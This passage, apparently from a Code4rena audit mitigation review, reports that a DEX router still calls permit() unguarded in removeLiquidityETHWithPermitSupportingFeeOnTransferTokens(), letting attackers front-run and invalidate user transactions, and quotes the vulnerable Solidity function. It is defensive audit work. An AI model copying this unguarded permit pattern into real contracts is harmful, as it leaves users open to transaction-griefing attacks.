The new mitigation correctly uses the try and catch method to rectify the issue in the `removeLiquidityWithPermit()` and `removeLiquidityETHWithPermit()` functions.

However, this issue still remains unmitigated because the `removeLiquidityETHWithPermitSupportingFeeOnTransferTokens()` function is not guarded with this logic. It continues to make a direct, unprotected call to `permit()`. As a result, the issue remains unmitigated, since the vulnerability is still exploitable via the `removeLiquidityETHWithPermitSupportingFeeOnTransferTokens()` function, allowing attackers to front-run and invalidate user transactions.

```
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
```

```
        bool stable,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH) {
        address pair = pairFor(token, address(wETH), stable);
        uint value = approveMax ? type(uint).max : liquidity;
        IBaseV1Pair(pair).permit(msg.sender, address(this), value,
deadline, v, r, s);
        (amountToken, amountETH) =
removeLiquidityETHSupportingFeeOnTransferTokens(
            token, stable, liquidity, amountTokenMin, amountETHMin, to,
deadline
        );
    }
```

Disclosures

C4 is an open organization governed by participants in the community.

C4 audits incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Audit submissions are judged by a knowledgeable security researcher and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.

C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.